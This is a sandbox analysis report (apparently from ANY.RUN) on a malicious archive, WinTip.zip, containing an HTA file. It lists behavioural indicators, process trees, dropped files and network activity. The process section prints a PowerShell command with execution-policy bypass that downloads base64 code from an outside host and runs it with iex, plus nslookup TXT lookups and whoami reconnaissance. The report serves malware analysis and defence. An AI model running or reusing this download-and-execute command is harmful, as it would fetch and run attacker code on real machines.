File name:

WinTip.zip

Full analysis: https://app.any.run/tasks/058d17fb-1c1f-47d7-b69c-999b7de46f5e
Verdict: Malicious activity
Analysis date: April 29, 2025, 16:22:40
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
arch-scr
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract, compression method=deflate
MD5:

55CD1F0E70261AA23FC6FEF909B02AAF

SHA1:

440767DCC0FBF4394173894D0A6F4405FDD4B485

SHA256:

73A9271A31246D91CC226718310AEE88FB3E74EB829232A5CC56B4BC6158A634

SSDEEP:

384:K+YAGRMzW+1SYiOvSdjUyqgnxomi1eMfWInTAcK+g74l34:K+YdRMF1SKvyUw/i1eMpAkgeI

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Generic archive extractor

      • WinRAR.exe (PID: 7468)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 1672)
      • powershell.exe (PID: 6768)
      • powershell.exe (PID: 1616)
      • powershell.exe (PID: 2320)

    • Changes powershell execution policy (Bypass)

      • mshta.exe (PID: 7960)
      • mshta.exe (PID: 5428)
      • mshta.exe (PID: 7436)
      • mshta.exe (PID: 7708)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 1672)
      • powershell.exe (PID: 6768)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 7468)

    • Identifying current user with WHOAMI command

      • cmd.exe (PID: 7240)
      • cmd.exe (PID: 2244)
      • cmd.exe (PID: 8124)
      • cmd.exe (PID: 7248)

    • Possibly malicious use of IEX has been detected

      • mshta.exe (PID: 7960)
      • mshta.exe (PID: 5428)
      • mshta.exe (PID: 7436)
      • mshta.exe (PID: 7708)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 7960)
      • mshta.exe (PID: 5428)
      • mshta.exe (PID: 7436)
      • mshta.exe (PID: 7708)
      • WinRAR.exe (PID: 7468)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 7960)
      • mshta.exe (PID: 5428)
      • mshta.exe (PID: 7436)
      • mshta.exe (PID: 7708)

    • Probably download files using WebClient

      • mshta.exe (PID: 7960)
      • mshta.exe (PID: 5428)
      • mshta.exe (PID: 7436)
      • mshta.exe (PID: 7708)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1672)
      • powershell.exe (PID: 6768)

    • Uses NSLOOKUP.EXE to check DNS info

      • powershell.exe (PID: 6768)
      • powershell.exe (PID: 1672)
      • powershell.exe (PID: 2320)
      • powershell.exe (PID: 1616)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 5868)

    • Executing commands from a ".bat" file

      • WinRAR.exe (PID: 7468)

  • INFO

    • Manual execution by a user

      • WINWORD.EXE (PID: 7600)
      • WINWORD.EXE (PID: 7648)

    • Reads Microsoft Office registry keys

      • WinRAR.exe (PID: 7468)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 7960)
      • mshta.exe (PID: 5428)

    • Disables trace logs

      • powershell.exe (PID: 1672)
      • powershell.exe (PID: 6768)

    • Checks proxy server information

      • powershell.exe (PID: 1672)
      • powershell.exe (PID: 6768)

    • Checks supported languages

      • csc.exe (PID: 8084)

    • Reads the machine GUID from the registry

      • csc.exe (PID: 8084)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6768)
      • powershell.exe (PID: 1672)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0008
ZipCompression: Deflated
ZipModifyDate: 2025:04:08 14:17:32
ZipCRC: 0xc7dcd66e
ZipCompressedSize: 15874
ZipUncompressedSize: 28210
ZipFileName: WinTip.hta
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
190
Monitored processes
52
Malicious processes
5
Suspicious processes
4

Behavior graph

Click at the process to see the details
start winrar.exe no specs winword.exe winword.exe mshta.exe no specs sppextcomobj.exe no specs slui.exe ai.exe no specs cmd.exe no specs conhost.exe no specs whoami.exe no specs powershell.exe conhost.exe no specs nslookup.exe nslookup.exe csc.exe no specs conhost.exe no specs mshta.exe no specs cmd.exe no specs conhost.exe no specs whoami.exe no specs powershell.exe conhost.exe no specs nslookup.exe nslookup.exe csc.exe no specs conhost.exe no specs slui.exe mshta.exe no specs cmd.exe no specs conhost.exe no specs whoami.exe no specs powershell.exe conhost.exe no specs nslookup.exe nslookup.exe csc.exe conhost.exe no specs cvtres.exe no specs mshta.exe no specs cmd.exe no specs conhost.exe no specs whoami.exe no specs powershell.exe conhost.exe no specs nslookup.exe nslookup.exe csc.exe no specs conhost.exe no specs timezone.exe no specs cmd.exe no specs conhost.exe no specs mpcmdrun.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
680"C:\WINDOWS\system32\nslookup.exe" -type=txt tz1.mojitoteam.noC:\Windows\SysWOW64\nslookup.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\nslookup.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\ws2_32.dll
872whoami /groupsC:\Windows\SysWOW64\whoami.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
whoami - displays logged on user information
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\whoami.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
960\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1600\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1616powershell -exec bypass -Command "iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://berg-henry.no/JHJlY29yZHMgPSBAKCJ0ejEubW9qaXRvdGV.txt'))))"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
1672powershell -exec bypass -Command "iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://berg-henry.no/JHJlY29yZHMgPSBAKCJ0ejEubW9qaXRvdGV.txt'))))"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
2240"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe" "7F53BDB9-9E51-418D-8FA0-85B172EDEE9D" "346B69E2-34E8-4AA8-ADA6-0D9749235E99" "7600"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Artificial Intelligence (AI) Host for the Microsoft® Windows® Operating System and Platform x64.
Exit code:
0
Version:
0.12.2.0
Modules
Images
c:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\office16\ai.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\program files\common files\microsoft shared\clicktorun\c2r64.dll
c:\windows\system32\rpcrt4.dll
2240\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2244cmd /c whoami /groupsC:\Windows\SysWOW64\cmd.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
2320powershell -exec bypass -Command "iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://berg-henry.no/JHJlY29yZHMgPSBAKCJ0ejEubW9qaXRvdGV.txt'))))"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
Total events
82 767
Read events
82 138
Write events
593
Delete events
36

Modification events

(PID) Process:(7600) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:writeName:0
Value:
017012000000001000B24E9A3E02000000000000000600000000000000
(PID) Process:(7600) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\7600
Operation:writeName:0
Value:
0B0E10B519C4D2BA59EA4A94249FE1BD6099CF230046F5A2A4BAAFA4EEED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DC2190000C91003783634C511B03BD2120B770069006E0077006F00720064002E00650078006500C51620C517808004C91808323231322D44656300
(PID) Process:(7600) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:en-US
Value:
2
(PID) Process:(7600) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:de-de
Value:
2
(PID) Process:(7600) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:fr-fr
Value:
2
(PID) Process:(7600) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:es-es
Value:
2
(PID) Process:(7600) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:it-it
Value:
2
(PID) Process:(7600) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ja-jp
Value:
2
(PID) Process:(7600) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ko-kr
Value:
2
(PID) Process:(7600) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:pt-br
Value:
2
Executable files
31
Suspicious files
159
Text files
41
Unknown types
0

Dropped files

PID
Process
Filename
Type
7600WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9binary
MD5:E7C2E91BFA7A0F2121935B6F2B80133E
SHA256:2770D2800253E1441BCCD6240C20641E292B8285E4F99731E064808EAA5784E1
7600WINWORD.EXEC:\Users\admin\Desktop\~$thingneeds.rtfbinary
MD5:8367E077110A50BF4C1B45A37C6FBB05
SHA256:7CBB1994DD230E4C0C9990E4C4B4D84921763EB8340AC650AA919EC07D5D4DB6
7600WINWORD.EXEC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9binary
MD5:FB60FF789C58BC6CDCCF1F388665810F
SHA256:D0D379988D4ED6E4ACBE57E83246B62FE36DACBF96793173F626B7E31FDFB8E4
7600WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:208F3C0E7B791400BD6EF8815D6E1FA7
SHA256:AE473910EAD2F90ECF2B6762FBE59281283DB1AB3DDC09EBBDE96A5BE68BD1EE
7648WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Diagnostics\WINWORD\App1745943776891538200_743D3E28-2068-4AEE-B22E-57768F067E13.log —
MD5:—
SHA256:—
7600WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\nothingneeds.rtf.LNKbinary
MD5:1C0451EBB769844509E38F40DFEAF63F
SHA256:F82FB11A7BD9A5FCEC819735F122EB42C57D460E1BA03E6FC695831935598E76
7648WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbresbinary
MD5:BEA65D7BA56D9F06551BB07662BCDF32
SHA256:96DA701DE240B1E8FB0AFDB19691A7B2A4948A62224AF6449A6085103C131714
7468WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa7468.8663\WinTip.htahtml
MD5:F56B2C29F093D1E3B196CD8029BEA8A8
SHA256:752D5EDBC5B7D95A818B98A6035EC97EFD7C3965047A63A9C931A63F652BC954
7648WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\Features\6FeatureCache.txtbinary
MD5:D20A0907E9376F1941238372AF2D7F13
SHA256:C7D2D0FC5F65E76DEA50358372B45746B3CB1F7E5492ECEE635D28F0B681272A
7600WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bintext
MD5:86A8D65A6C0550D1B49C717978103CD4
SHA256:23364568108C93ADF7369E635B1FEDE6A0A0DC8F60DE6B0CEC88572A84B61001
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
76
DNS requests
48
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.216.77.32:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
7600
WINWORD.EXE
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
7600
WINWORD.EXE
GET
200
23.53.40.176:80
http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl
unknown
—
—
whitelisted
7600
WINWORD.EXE
GET
200
184.30.131.245:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
whitelisted
4920
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
4920
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
7600
WINWORD.EXE
GET
200
23.53.40.176:80
http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl
unknown
—
—
whitelisted
7600
WINWORD.EXE
GET
200
23.53.40.176:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
7600
WINWORD.EXE
GET
200
23.53.40.176:80
http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
2104
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5496
MoUsoCoreWorker.exe
23.216.77.32:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5496
MoUsoCoreWorker.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
—
—
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.160.14:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
184.30.131.245:80
ocsp.digicert.com
AKAMAI-AS
US
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
7648
WINWORD.EXE
52.109.89.18:443
officeclient.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 4.231.128.59
whitelisted
google.com
  • 142.250.184.238
whitelisted
crl.microsoft.com
  • 23.216.77.32
  • 23.216.77.30
  • 23.216.77.33
  • 23.216.77.7
  • 23.216.77.31
  • 23.216.77.36
  • 23.216.77.43
  • 23.216.77.39
  • 23.216.77.37
  • 23.53.40.176
  • 23.53.40.178
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
client.wns.windows.com
  • 172.211.123.248
whitelisted
login.live.com
  • 20.190.160.14
  • 20.190.160.128
  • 20.190.160.5
  • 20.190.160.130
  • 20.190.160.4
  • 20.190.160.3
  • 40.126.32.134
  • 20.190.160.131
  • 20.190.159.131
  • 40.126.31.130
  • 20.190.159.71
  • 40.126.31.73
  • 20.190.159.0
  • 40.126.31.69
  • 20.190.159.23
  • 40.126.31.128
whitelisted
ocsp.digicert.com
  • 184.30.131.245
whitelisted
officeclient.microsoft.com
  • 52.109.89.18
whitelisted
ecs.office.com
  • 52.123.129.14
  • 52.123.128.14
whitelisted
roaming.officeapps.live.com
  • 52.109.76.243
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
WinTip.zip